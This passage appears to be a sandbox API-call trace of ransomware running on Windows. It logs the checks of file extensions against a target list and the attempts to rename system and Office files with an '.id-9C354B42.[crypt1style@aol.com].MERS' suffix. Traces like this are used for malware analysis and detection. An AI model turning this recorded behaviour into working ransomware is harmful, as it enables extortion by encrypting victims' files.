(lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.099] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=3694080) returned 1 [0258.099] CloseHandle (hObject=0x2f0) returned 1 [0258.099] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0258.099] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.099] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0259.047] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=5072816) returned 1 [0259.047] CloseHandle (hObject=0x338) returned 1 [0259.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0x20 [0259.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0259.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0259.073] lstrlenW (lpString=".dbf") returned 4 [0259.073] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0259.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0259.073] lstrlenW (lpString=".1cd") returned 4 [0259.073] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0259.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0259.073] lstrlenW (lpString=".jpg") returned 4 [0259.073] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0259.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0259.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0259.073] lstrlenW (lpString=".doc") returned 4 [0259.073] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0259.073] lstrlenW (lpString=".docx") returned 5 [0259.073] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0259.074] lstrlenW (lpString=".pdf") returned 4 [0259.074] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0259.074] lstrlenW (lpString=".xls") returned 4 [0259.074] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0259.074] lstrlenW (lpString=".xlsx") returned 5 [0259.074] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0259.074] lstrlenW (lpString=".ppt") returned 4 [0259.074] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0259.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0259.074] lstrlenW (lpString=".zip") returned 4 [0259.074] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0259.074] lstrlenW (lpString=".rar") returned 4 [0259.074] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0259.074] lstrlenW (lpString=".bz2") returned 4 [0259.074] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0259.074] lstrlenW (lpString=".7z") returned 3 [0259.074] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0259.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0259.074] lstrlenW (lpString=".dbf") returned 4 [0259.074] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0259.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0259.074] lstrlenW (lpString=".1cd") returned 4 [0259.074] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0259.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0259.074] lstrlenW (lpString=".jpg") returned 4 [0259.074] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0259.075] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0259.075] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24 [0259.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0259.075] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=15736) returned 1 [0259.075] CloseHandle (hObject=0x338) returned 1 [0259.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0259.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.075] lstrlenW (lpString=".doc") returned 4 [0259.075] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0259.075] lstrlenW (lpString=".docx") returned 5 [0259.075] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0259.075] lstrlenW (lpString=".pdf") returned 4 [0259.075] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0259.075] lstrlenW (lpString=".xls") returned 4 [0259.076] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0259.076] lstrlenW (lpString=".xlsx") returned 5 [0259.076] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0259.076] lstrlenW (lpString=".ppt") returned 4 [0259.076] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0259.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.076] lstrlenW (lpString=".zip") returned 4 [0259.076] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0259.076] lstrlenW (lpString=".rar") returned 4 [0259.076] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0259.076] lstrlenW (lpString=".bz2") returned 4 [0259.076] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0259.076] lstrlenW (lpString=".7z") returned 3 [0259.076] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0259.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.076] lstrlenW (lpString=".dbf") returned 4 [0259.076] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0259.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.076] lstrlenW (lpString=".1cd") returned 4 [0259.076] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0259.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.076] lstrlenW (lpString=".jpg") returned 4 [0259.076] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0259.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.076] lstrlenW (lpString=".doc") returned 4 [0259.076] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0259.076] lstrlenW (lpString=".docx") returned 5 [0259.076] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0259.077] lstrlenW (lpString=".pdf") returned 4 [0259.077] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0259.077] lstrlenW (lpString=".xls") returned 4 [0259.077] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0259.077] lstrlenW (lpString=".xlsx") returned 5 [0259.077] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0259.077] lstrlenW (lpString=".ppt") returned 4 [0259.077] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0259.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.077] lstrlenW (lpString=".zip") returned 4 [0259.077] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0259.077] lstrlenW (lpString=".rar") returned 4 [0259.077] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0259.141] lstrlenW (lpString=".bz2") returned 4 [0259.141] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0259.141] lstrlenW (lpString=".7z") returned 3 [0259.142] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0259.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.142] lstrlenW (lpString=".dbf") returned 4 [0259.142] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0259.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.142] lstrlenW (lpString=".1cd") returned 4 [0259.142] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0259.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0259.142] lstrlenW (lpString=".jpg") returned 4 [0259.142] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0259.142] lstrcmpiW (lpString1=".LEX", lpString2=".MERS") returned -1 [0259.142] lstrlenW (lpString="MSWDS_ES.LEX") returned 12 [0259.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.552] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=395651) returned 1 [0259.552] CloseHandle (hObject=0x390) returned 1 [0259.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 0x20 [0259.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.563] lstrlenW (lpString=".doc") returned 4 [0259.563] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0259.563] lstrlenW (lpString=".docx") returned 5 [0259.563] lstrcmpiW (lpString1=".docx", lpString2="S.LEX") returned -1 [0259.563] lstrlenW (lpString=".pdf") returned 4 [0259.563] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0259.563] lstrlenW (lpString=".xls") returned 4 [0259.563] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0259.563] lstrlenW (lpString=".xlsx") returned 5 [0259.563] lstrcmpiW (lpString1=".xlsx", lpString2="S.LEX") returned -1 [0259.563] lstrlenW (lpString=".ppt") returned 4 [0259.563] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0259.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.563] lstrlenW (lpString=".zip") returned 4 [0259.563] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0259.563] lstrlenW (lpString=".rar") returned 4 [0259.563] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0259.563] lstrlenW (lpString=".bz2") returned 4 [0259.563] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0259.564] lstrlenW (lpString=".7z") returned 3 [0259.564] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0259.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.564] lstrlenW (lpString=".dbf") returned 4 [0259.564] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0259.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.564] lstrlenW (lpString=".1cd") returned 4 [0259.564] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0259.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.564] lstrlenW (lpString=".jpg") returned 4 [0259.564] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0259.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.564] lstrlenW (lpString=".doc") returned 4 [0259.564] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0259.564] lstrlenW (lpString=".docx") returned 5 [0259.564] lstrcmpiW (lpString1=".docx", lpString2="S.LEX") returned -1 [0259.564] lstrlenW (lpString=".pdf") returned 4 [0259.564] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0259.564] lstrlenW (lpString=".xls") returned 4 [0259.564] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0259.564] lstrlenW (lpString=".xlsx") returned 5 [0259.564] lstrcmpiW (lpString1=".xlsx", lpString2="S.LEX") returned -1 [0259.564] lstrlenW (lpString=".ppt") returned 4 [0259.564] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0259.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.564] lstrlenW (lpString=".zip") returned 4 [0259.564] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0259.564] lstrlenW (lpString=".rar") returned 4 [0259.564] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0259.565] lstrlenW (lpString=".bz2") returned 4 [0259.565] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0259.565] lstrlenW (lpString=".7z") returned 3 [0259.565] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0259.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.565] lstrlenW (lpString=".dbf") returned 4 [0259.565] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0259.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.565] lstrlenW (lpString=".1cd") returned 4 [0259.565] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0259.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0259.565] lstrlenW (lpString=".jpg") returned 4 [0259.565] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0259.565] lstrcmpiW (lpString1=".ELM", lpString2=".MERS") returned -1 [0259.565] lstrlenW (lpString="IRIS.ELM") returned 8 [0259.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0259.569] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=65885) returned 1 [0259.569] CloseHandle (hObject=0x338) returned 1 [0259.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm")) returned 0x20 [0259.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.571] lstrlenW (lpString=".doc") returned 4 [0259.571] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0259.571] lstrlenW (lpString=".docx") returned 5 [0259.571] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0259.571] lstrlenW (lpString=".pdf") returned 4 [0259.571] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0259.571] lstrlenW (lpString=".xls") returned 4 [0259.571] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0259.571] lstrlenW (lpString=".xlsx") returned 5 [0259.571] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0259.571] lstrlenW (lpString=".ppt") returned 4 [0259.571] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0259.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.571] lstrlenW (lpString=".zip") returned 4 [0259.571] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0259.571] lstrlenW (lpString=".rar") returned 4 [0259.571] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0259.571] lstrlenW (lpString=".bz2") returned 4 [0259.571] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0259.571] lstrlenW (lpString=".7z") returned 3 [0259.571] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0259.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.571] lstrlenW (lpString=".dbf") returned 4 [0259.571] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0259.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.571] lstrlenW (lpString=".1cd") returned 4 [0259.571] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0259.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.572] lstrlenW (lpString=".jpg") returned 4 [0259.572] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0259.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.572] lstrlenW (lpString=".doc") returned 4 [0259.572] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0259.572] lstrlenW (lpString=".docx") returned 5 [0259.572] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0259.572] lstrlenW (lpString=".pdf") returned 4 [0259.572] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0259.572] lstrlenW (lpString=".xls") returned 4 [0259.572] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0259.572] lstrlenW (lpString=".xlsx") returned 5 [0259.572] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0259.572] lstrlenW (lpString=".ppt") returned 4 [0259.572] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0259.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.572] lstrlenW (lpString=".zip") returned 4 [0259.572] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0259.572] lstrlenW (lpString=".rar") returned 4 [0259.572] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0259.572] lstrlenW (lpString=".bz2") returned 4 [0259.572] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0259.572] lstrlenW (lpString=".7z") returned 3 [0259.572] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0259.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.572] lstrlenW (lpString=".dbf") returned 4 [0259.572] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0259.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.572] lstrlenW (lpString=".1cd") returned 4 [0259.572] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0259.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0259.572] lstrlenW (lpString=".jpg") returned 4 [0259.573] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0259.573] lstrcmpiW (lpString1=".ELM", lpString2=".MERS") returned -1 [0259.573] lstrlenW (lpString="JOURNAL.ELM") returned 11 [0259.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0259.574] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=47666) returned 1 [0259.574] CloseHandle (hObject=0x338) returned 1 [0259.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm")) returned 0x20 [0259.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.574] lstrlenW (lpString=".doc") returned 4 [0259.574] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0259.574] lstrlenW (lpString=".docx") returned 5 [0259.574] lstrcmpiW (lpString1=".docx", lpString2="L.ELM") returned -1 [0259.574] lstrlenW (lpString=".pdf") returned 4 [0259.575] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0259.575] lstrlenW (lpString=".xls") returned 4 [0259.575] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0259.575] lstrlenW (lpString=".xlsx") returned 5 [0259.575] lstrcmpiW (lpString1=".xlsx", lpString2="L.ELM") returned -1 [0259.575] lstrlenW (lpString=".ppt") returned 4 [0259.575] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0259.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0259.575] lstrlenW 